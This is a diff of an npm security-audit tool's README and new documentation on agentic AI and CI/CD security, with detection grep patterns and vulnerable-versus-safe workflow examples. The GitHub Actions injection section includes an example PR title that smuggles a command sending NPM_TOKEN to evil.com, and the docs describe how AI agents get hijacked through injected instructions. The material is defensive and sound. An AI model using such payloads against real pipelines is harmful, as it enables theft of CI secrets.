@lhi/tdd-audit 1.5.0 → 1.8.2

package/README.md

@@ -1,12 +1,12 @@
 # @lhi/tdd-audit
 
-Security skill installer for **Claude Code, Gemini CLI, Cursor, Codex, and OpenCode**. Patches vulnerabilities using a Red-Green-Refactor exploit-test protocol — you prove the hole exists, apply the fix, and prove it's closed.
+> **v1.8.0** — Security skill installer for **Claude Code, Gemini CLI, Cursor, Codex, and OpenCode**. Patches vulnerabilities using a Red-Green-Refactor exploit-test protocol — you prove the hole exists, apply the fix, and prove it's closed.
 
 ## What happens on install
 
 Running the installer does five things immediately:
 
-1. **Scans your codebase** for 29 vulnerability patterns (SQL injection, IDOR, XSS, command injection, path traversal, broken auth, JWT alg:none, ReDoS, timing-unsafe comparisons, and more) and prints findings to stdout
+1. **Scans your codebase** for 34 vulnerability patterns across OWASP Top 10, mobile, agentic AI, and prompt/skill files — prints a severity-ranked findings report to stdout
 2. **Scaffolds `__tests__/security/`** with a framework-matched boilerplate exploit test
 3. **Adds `test:security`** to your `package.json` scripts (Node.js projects)
 4. **Creates `.github/workflows/security-tests.yml`** so the CI gate exists from day one
@@ -31,25 +31,25 @@ node index.js
 | Claude Code | `npx @lhi/tdd-audit --local --claude` |
 | Gemini CLI / Codex / OpenCode | `npx @lhi/tdd-audit --local` |
 | With pre-commit hook | add `--with-hooks` |
-| Scan only (no install) | `npx @lhi/tdd-audit --scan-only` |
+| Scan only (no install) | `npx @lhi/tdd-audit --scan` |
 
 ### All flags
 
 | Flag | Description |
 |---|---|
-| `--local` | Install skill files to the current project directory instead of `~` |
+| `--local` | Install skill files into the current project instead of `~` |
 | `--claude` | Use `.claude/` instead of `.agents/` as the skill directory |
 | `--with-hooks` | Install a pre-commit hook that blocks commits if security tests fail |
 | `--skip-scan` | Skip the automatic vulnerability scan on install |
-| `--scan-only` | Run the vulnerability scan without installing anything |
+| `--scan` / `--scan-only` | Run the vulnerability scan without installing anything |
 
-### Framework Detection
+### Framework detection
 
 The installer automatically detects your project's test framework and scaffolds the right boilerplate:
 
 | Detected | Boilerplate | `test:security` command |
 |---|---|---|
-| `jest` / `supertest` | `sample.exploit.test.js` | `jest --testPathPattern=__tests__/security` |
+| `jest` / `supertest` | `sample.exploit.test.js` | `jest --testPathPatterns=__tests__/security` |
 | `vitest` | `sample.exploit.test.vitest.js` | `vitest run __tests__/security` |
 | `mocha` | `sample.exploit.test.js` | `mocha '__tests__/security/**/*.spec.js'` |
 | `pytest.ini` / `pyproject.toml` | `sample.exploit.test.pytest.py` | `pytest tests/security/ -v` |
@@ -65,33 +65,46 @@ Once installed, trigger the autonomous audit in your agent:
 ```
 
 The agent will:
-1. Scan the codebase and present a severity-ranked findings report (CRITICAL / HIGH / MEDIUM / LOW)
-2. Wait for your confirmation before making any changes
-3. For each confirmed vulnerability, apply the full Red-Green-Refactor loop:
+
+1. Detect your tech stack and scope the scan to relevant patterns only
+2. Scan the codebase and present a severity-ranked findings report (CRITICAL / HIGH / MEDIUM / LOW)
+3. **Wait for your confirmation** before making any changes
+4. For each confirmed vulnerability, apply the full Red-Green-Refactor loop:
    - **Red** — write an exploit test that fails, proving the vulnerability exists
    - **Green** — apply the targeted patch, making the test pass
    - **Refactor** — run the full suite to confirm no regressions
-4. Deliver a final Remediation Summary table
+5. Apply proactive hardening controls (security headers, rate limiting, `npm audit`, secret history scan)
+6. Deliver a final Remediation Summary table
 
 The agent works one vulnerability at a time and does not advance until the current one is fully proven closed.
 
-## Vulnerability Scanner
+Pass `--scan` in your prompt to get the Audit Report only, without any code changes.
+
+## Vulnerability scanner
 
-The built-in scanner catches 29 patterns across OWASP Top 10 + mobile + agentic AI stacks:
+The built-in scanner catches **34 patterns** across OWASP Top 10, mobile, agentic AI, and prompt/skill files:
 
 | Category | Patterns |
 |---|---|
-| Injection | SQL Injection, Command Injection, NoSQL Injection, Template Injection, LDAP |
-| Broken Auth | JWT alg:none, Broken Auth, Timing-Unsafe Comparison, Hardcoded Secret, Secret Fallback |
+| Injection | SQL Injection, Command Injection, NoSQL Injection, Template Injection |
+| Broken Auth | JWT Alg None, Broken Auth, Timing-Unsafe Comparison, Hardcoded Secret, Secret Fallback |
 | XSS / Output | XSS, eval() Injection, Open Redirect |
 | Crypto | Weak Crypto (MD5/SHA1), Insecure Random, TLS Bypass |
 | Server-side | SSRF, Path Traversal, XXE, Insecure Deserialization |
 | Assignment | Mass Assignment, Prototype Pollution |
 | Mobile | Sensitive Storage, WebView JS Bridge, Deep Link Injection, Android Debuggable |
-| Config | CORS Wildcard, Cleartext Traffic, Config Secrets |
-| New (v1.5) | JWT Alg None, Timing-Unsafe Comparison, ReDoS |
+| Config / Infra | CORS Wildcard, Cleartext Traffic, Config Secrets, ReDoS |
+| Agentic / Prompt | Deprecated CSRF Package (`csurf`), Unpinned npx MCP Server, Cleartext URL in Prompt |
+
+### Scanner behaviour
 
-## Running security tests manually
+- **Test files are flagged but labelled** — findings in `__tests__/`, `tests/`, `spec/`, or `*.test.*` files are shown with a `[test file]` badge. Patterns that mark `skipInTests: true` (e.g. Hardcoded Secret, Sensitive Log, Cleartext Traffic) are further tagged `likelyFalsePositive` and separated at the bottom of the report.
+- **Prompt/skill files get their own scan** — `.md` files inside `prompts/`, `skills/`, `.claude/`, `workflows/`, plus `CLAUDE.md` and `SKILL.md`, are scanned for prompt-specific anti-patterns. Matches inside backtick code spans are suppressed to avoid noise from documentation examples.
+- **`audit_status: safe` exemption** — any prompt file with `audit_status: safe` in its YAML frontmatter is skipped and listed separately so you can verify exemptions are intentional.
+- **Binary and oversized files skipped** — files larger than 512 KB or containing null bytes are skipped to prevent OOM.
+- **Symlinks skipped** — symlinks are never followed, preventing directory-escape on M-series Macs and shared filesystems.
+
+## Running security tests
 
 ```bash
 # Node.js
@@ -102,20 +115,30 @@ pytest tests/security/ -v
 
 # Go
 go test ./security/... -v
+
+# Flutter
+flutter test test/security/
 ```
 
 ## CI/CD
 
-The installer creates `.github/workflows/security-tests.yml` for your stack. It runs on every pull request targeting `main` — any exploit test that regresses will block the merge.
+The installer creates framework-matched workflow files under `.github/workflows/`. Both `security-tests.yml` and `ci.yml` include:
+
+- SHA-pinned `uses:` references on every action (supply chain hardening)
+- `npm audit --audit-level=high` (or equivalent) to catch vulnerable dependencies
+- The security exploit test suite on every push and pull request
 
-To add this gate to an existing CI pipeline manually:
+To add the security gate to an existing pipeline manually:
 
 ```yaml
+- name: Dependency audit
+  run: npm audit --audit-level=high
+
 - name: Run security exploit tests
-  run: npm run test:security   # or pytest tests/security/, or go test ./security/...
+  run: npm run test:security   # or pytest tests/security/, flutter test test/security/
 ```
 
-## Pre-commit Hook
+## Pre-commit hook
 
 The `--with-hooks` flag appends a security gate to `.git/hooks/pre-commit`. Commits are blocked if any exploit test fails:
 
@@ -123,7 +146,37 @@ The `--with-hooks` flag appends a security gate to `.git/hooks/pre-commit`. Comm
 ❌ Security tests failed. Commit blocked.
 ```
 
-The hook is non-destructive — it appends to any existing hook content rather than overwriting it.
+The hook is non-destructive — it appends to existing hook content rather than overwriting it.
+
+## Agentic AI security (ASI01–ASI10)
+
+When the project contains AI agent code, MCP configurations, or `CLAUDE.md` files, the scanner also checks for agentic-specific vulnerabilities:
+
+| ID | Vulnerability | Risk |
+|---|---|---|
+| ASI01 | Prompt injection via tool output | Malicious content in web/file reads hijacks agent behaviour |
+| ASI02 | CLAUDE.md / instructions file injection | Attacker-controlled system prompts override agent identity |
+| ASI03 | MCP server supply chain (unpinned `npx`) | Compromised package version exfiltrates secrets |
+| ASI04 | Excessive tool permissions | Agent can write files or run shell when only read is needed |
+| ASI05 | Secrets in tool call arguments | Tokens/passwords logged by external tools |
+| ASI06 | Unvalidated agent action execution | Agent runs irreversible actions without user confirmation |
+| ASI07 | Insecure direct agent communication | Sub-agent messages trusted without verification |
+| ASI08 | GitHub Actions command injection | `github.event.*` interpolated directly into `run:` steps |
+| ASI09 | Unpinned GitHub Actions (supply chain) | Mutable `@v4` / `@main` tags can be hijacked |
+| ASI10 | Secrets in workflow environment | Secrets printed to logs or embedded in curl URLs |
+
+See [`docs/agentic-ai-security.md`](docs/agentic-ai-security.md) for grep patterns, examples, and fixes.
+
+## Documentation
+
+| File | Contents |
+|---|---|
+| [`docs/scanner.md`](docs/scanner.md) | How the scanner works — architecture, detection logic, false-positive handling |
+| [`docs/vulnerability-patterns.md`](docs/vulnerability-patterns.md) | All 34 patterns with descriptions, grep signatures, and fix pointers |
+| [`docs/tdd-protocol.md`](docs/tdd-protocol.md) | The Red-Green-Refactor protocol in full, with framework templates |
+| [`docs/agentic-ai-security.md`](docs/agentic-ai-security.md) | ASI01–ASI10 agentic AI vulnerability reference |
+| [`docs/hardening.md`](docs/hardening.md) | Phase 4 proactive hardening controls |
+| [`docs/ci-cd.md`](docs/ci-cd.md) | CI/CD integration guide for all supported stacks |
 
 ## License
 

package/SKILL.md

@@ -53,7 +53,7 @@ jobs:
   security-tests:
     runs-on: ubuntu-latest
     steps:
-      - uses: actions/checkout@v3
+      - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
       - name: Install dependencies
         run: npm ci
       - name: Run Security Exploit Tests

package/docs/agentic-ai-security.md

@@ -0,0 +1,202 @@
+# Agentic AI Security (ASI01–ASI10)
+
+When the project contains AI agent code, MCP server configurations, CLAUDE.md files, or tool-calling patterns, the auto-audit also checks for agentic-specific vulnerabilities. These are harder to spot than traditional web vulnerabilities but carry severe consequences — data exfiltration via tool abuse, agent hijacking, supply chain via MCP.
+
+---
+
+## ASI01 — Prompt Injection via Tool Output
+
+**What:** Malicious text in tool results (web scrapes, file reads, search results) that instructs the agent to perform unauthorized actions.
+
+**Grep for:**
+```
+fetch(.*then.*res\.text        # agent reading raw web content into prompt
+readFile.*utf8.*then           # file content fed directly to model
+tool_result.*content           # MCP tool output injected into context
+```
+
+**Fix:** Sanitize tool outputs before injecting into prompt context. Treat all content from web fetches, file reads, and search results as untrusted data — never as instructions.
+
+---
+
+## ASI02 — CLAUDE.md / Instructions File Injection
+
+**What:** Attacker-controlled files (`CLAUDE.md`, `.cursorrules`, system prompts) that override the agent's behavior or extract secrets.
+
+**Grep for:**
+```
+CLAUDE\.md                     # ensure CLAUDE.md doesn't accept untrusted input
+\.cursorrules                  # check cursor rules for malicious overrides
+system_prompt.*file            # system prompt loaded from a user-supplied path
+```
+
+**Fix:** `CLAUDE.md` must be under version control and reviewed on every commit. Never load system prompts from user-supplied paths. Treat the file as code, not configuration.
+
+---
+
+## ASI03 — MCP Server Supply Chain Risk
+
+**What:** MCP servers installed via `npx` or unpinned package references that can execute arbitrary code in the agent's context.
+
+**Grep for:**
+```
+mcpServers                     # review all MCP server configurations
+npx.*mcp                       # npx-executed MCP servers (not pinned)
+"command".*"npx"               # dynamic npx MCP invocations
+```
+
+**Fix:** Pin all MCP server packages to exact versions. Prefer locally-installed servers over `npx`:
+
+```json
+// settings.json — safe pattern
+{
+  "mcpServers": {
+    "filesystem": {
+      "command": "node",
+      "args": ["/usr/local/lib/node_modules/@modelcontextprotocol/server-filesystem/dist/index.js"]
+    }
+  }
+}
+```
+
+---
+
+## ASI04 — Excessive Tool Permissions
+
+**What:** Agent granted filesystem write, shell exec, or network send permissions when the task only requires read access.
+
+**Grep for:**
+```
+allow.*Write.*true             # broad write permissions granted
+bash.*permission.*allow        # shell execution permitted
+tools.*\["bash"                # bash tool in agent tool list
+```
+
+**Fix:** Apply the principle of least privilege. Grant only the minimum tool set required for the task. For automated CI agents, use a dedicated low-privilege service account with no write access to source files.
+
+---
+
+## ASI05 — Sensitive Data in Tool Calls
+
+**What:** Agent passes secrets, PII, or auth tokens to external tools (web search, APIs) where they may be logged or leaked.
+
+**Grep for:**
+```
+tool_call.*password            # password in tool argument
+tool_call.*token               # token passed to external tool
+messages.*secret               # secret embedded in model messages
+```
+
+**Fix:** Scrub secrets from all tool arguments before calling. Pass credentials via environment variables, never via prompt context.
+
+---
+
+## ASI06 — Unvalidated Agent Action Execution
+
+**What:** Agent executes shell commands, file writes, or API calls without confirming with the user when the action has significant side effects.
+
+**Grep for:**
+```
+exec.*tool_result              # shell exec driven by tool output
+writeFile.*agent               # agent writing files autonomously
+http\.post.*tool_call          # agent making POST requests without confirmation
+```
+
+**Fix:** For irreversible or high-blast-radius actions, the agent must confirm with the user before executing. Classify actions as: read-only (proceed freely), local reversible (proceed with logging), or destructive/external (require confirmation).
+
+---
+
+## ASI07 — Insecure Direct Agent Communication
+
+**What:** Agent-to-agent messages that trust the calling agent's identity without verification, enabling privilege escalation.
+
+**Grep for:**
+```
+agent_message.*role.*user      # sub-agent message injected as user role
+from_agent.*trust              # inter-agent trust without verification
+orchestrator.*execute          # orchestrator passing actions directly to sub-agent
+```
+
+**Fix:** Treat messages from sub-agents with the same skepticism as user input. Validate the source and scope of all inter-agent instructions before acting.
+
+---
+
+## ASI08 — GitHub Actions Command Injection
+
+**What:** User-controlled input (PR title, branch name, issue body) injected into GitHub Actions `run:` steps via `${{ github.event.* }}`.
+
+**Grep for** (in `.github/workflows/*.yml`):
+```
+\$\{\{ github\.event\.pull_request\.title
+\$\{\{ github\.event\.issue\.body
+\$\{\{ github\.head_ref
+\$\{\{ github\.event\.comment\.body
+run:.*\$\{\{
+```
+
+**Vulnerable pattern:**
+```yaml
+- name: Echo PR title
+  run: echo "${{ github.event.pull_request.title }}"
+  # Attacker submits PR titled: foo"; curl evil.com/exfil?t=$NPM_TOKEN; echo "
+```
+
+**Safe pattern:**
+```yaml
+- name: Echo PR title
+  env:
+    TITLE: ${{ github.event.pull_request.title }}
+  run: echo "$TITLE"   # shell variable — no Actions interpolation
+```
+
+---
+
+## ASI09 — Unpinned GitHub Actions (Supply Chain)
+
+**What:** Using `@v4` or `@main` action refs instead of full commit SHAs. A compromised tag can exfiltrate `NPM_TOKEN`, `AWS_ACCESS_KEY_ID`, or other secrets.
+
+**Grep for** (in `.github/workflows/*.yml`):
+```
+uses:.*@v\d
+uses:.*@main
+uses:.*@master
+```
+
+**Fix:** Pin every `uses:` to a full 40-character commit SHA with the version as a comment:
+
+```yaml
+# Vulnerable
+- uses: actions/checkout@v4
+
+# Safe
+- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
+```
+
+All workflow templates installed by `@lhi/tdd-audit` ship SHA-pinned. The security test `sec-05-unpinned-action-in-docs.test.js` enforces this.
+
+---
+
+## ASI10 — Secrets in Workflow Environment
+
+**What:** Secrets printed to logs, passed as positional arguments, or embedded in URLs in CI workflows.
+
+**Grep for** (in `.github/workflows/*.yml`):
+```
+echo.*secrets\.               # secret echoed to log
+run:.*\$\{\{ secrets\.        # secret interpolated inline into run step
+curl.*\$\{\{ secrets\.        # secret in curl URL (leaks in logs)
+```
+
+**Vulnerable pattern:**
+```yaml
+- run: curl https://api.example.com?key=${{ secrets.API_KEY }}
+  # Full URL including secret appears in GitHub Actions log
+```
+
+**Safe pattern:**
+```yaml
+- name: Call API
+  env:
+    API_KEY: ${{ secrets.API_KEY }}
+  run: curl -H "Authorization: $API_KEY" https://api.example.com
+```

package/docs/ci-cd.md

@@ -0,0 +1,169 @@
+# CI/CD Integration Guide
+
+`@lhi/tdd-audit` installs framework-matched GitHub Actions workflow templates on first run. This document covers what ships, how to add the gate to an existing pipeline, and what each template does.
+
+---
+
+## What the installer creates
+
+| File | When created |
+|---|---|
+| `.github/workflows/security-tests.yml` | Always (if it doesn't already exist) |
+| `.github/workflows/ci.yml` | Always (if it doesn't already exist) |
+
+Both files are only written if they don't already exist — the installer never overwrites your existing CI configuration.
+
+---
+
+## Installed workflow templates
+
+All templates ship with:
+- Every `uses:` pinned to a full 40-character commit SHA (supply chain hardening, ASI09)
+- A dependency audit step (`npm audit --audit-level=high`, `pip-audit`, or `govulncheck`)
+- The security exploit test suite run on every push and pull request
+
+### Node.js (jest / vitest / mocha)
+
+**`.github/workflows/security-tests.yml`**
+```yaml
+name: Security Tests
+on:
+  push:    { branches: [main, master] }
+  pull_request: { branches: [main, master] }
+jobs:
+  security-tests:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
+      - uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4
+        with: { node-version: '20', cache: 'npm' }
+      - run: npm ci
+      - run: npm audit --audit-level=high
+      - run: npm run test:security
+```
+
+**`.github/workflows/ci.yml`**
+Runs the full test suite on Node.js 18 / 20 / 22, uploads coverage as an artifact.
+
+### Python
+
+**`security-tests.python.yml`** — runs `pytest tests/security/ -v` on Python 3.12
+**`ci.python.yml`** — matrix across Python 3.10 / 3.11 / 3.12, runs `ruff` lint and `pytest --cov`
+
+### Go
+
+**`security-tests.go.yml`** — runs `go test ./security/... -v` on Go 1.22
+**`ci.go.yml`** — matrix across Go 1.21 / 1.22 / 1.23, runs `staticcheck` and `go test ./...` with coverage
+
+### Flutter / Dart
+
+**`security-tests.flutter.yml`** — runs `flutter test test/security/` with `subosito/flutter-action` (SHA-pinned)
+**`ci.flutter.yml`** — runs `dart analyze`, `dart format`, `flutter test --coverage`
+
+---
+
+## Adding to an existing pipeline
+
+Minimum addition — add these two steps to your existing workflow after `npm ci` (or language equivalent):
+
+```yaml
+- name: Dependency audit
+  run: npm audit --audit-level=high
+
+- name: Security exploit tests
+  run: npm run test:security
+```
+
+For Python:
+```yaml
+- name: Dependency audit
+  run: pip install pip-audit && pip-audit
+
+- name: Security exploit tests
+  run: pytest tests/security/ -v
+```
+
+For Go:
+```yaml
+- name: Dependency audit
+  run: |
+    go install golang.org/x/vuln/cmd/govulncheck@latest
+    govulncheck ./...
+
+- name: Security exploit tests
+  run: go test ./security/... -v
+```
+
+---
+
+## Pre-commit hook (optional)
+
+Install with `--with-hooks`:
+
+```bash
+npx @lhi/tdd-audit --with-hooks
+```
+
+This appends to `.git/hooks/pre-commit`:
+
+```sh
+# tdd-remediation: security gate
+npm run test:security --silent
+if [ $? -ne 0 ]; then
+  printf "\n\033[0;31m❌ Security tests failed. Commit blocked.\033[0m\n"
+  exit 1
+fi
+```
+
+The hook is non-destructive — it appends to existing hook content and does not overwrite it. If the project is not a git repository, the hook installation is skipped with a warning.
+
+---
+
+## Supply chain hardening in workflows
+
+All installed workflows pin action refs to full commit SHAs. If you add new actions manually, use SHA refs:
+
+```yaml
+# Find the SHA for any action tag:
+# 1. Go to github.com/actions/checkout/releases
+# 2. Click the tag → copy the full commit SHA from the URL or git log
+
+- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
+```
+
+To audit your existing workflows for unpinned refs:
+
+```bash
+grep -rn "uses:.*@v\|uses:.*@main\|uses:.*@master" .github/workflows/
+```
+
+The security test `sec-05-unpinned-action-in-docs.test.js` enforces that documentation examples in this repo stay SHA-pinned as well.
+
+---
+
+## Preventing secrets from leaking in CI
+
+Always pass secrets as environment variables — never interpolate them inline:
+
+```yaml
+# Vulnerable — secret appears in the Actions log as part of the URL
+- run: curl https://api.example.com?token=${{ secrets.API_TOKEN }}
+
+# Safe
+- name: Call API
+  env:
+    API_TOKEN: ${{ secrets.API_TOKEN }}
+  run: curl -H "Authorization: Bearer $API_TOKEN" https://api.example.com
+```
+
+Similarly, never interpolate `github.event.*` values directly into `run:` steps (see [ASI08](agentic-ai-security.md#asi08--github-actions-command-injection)):
+
+```yaml
+# Vulnerable — PR title with shell metacharacters is injected
+- run: echo "PR: ${{ github.event.pull_request.title }}"
+
+# Safe
+- env:
+    PR_TITLE: ${{ github.event.pull_request.title }}
+  run: echo "PR: $PR_TITLE"
+```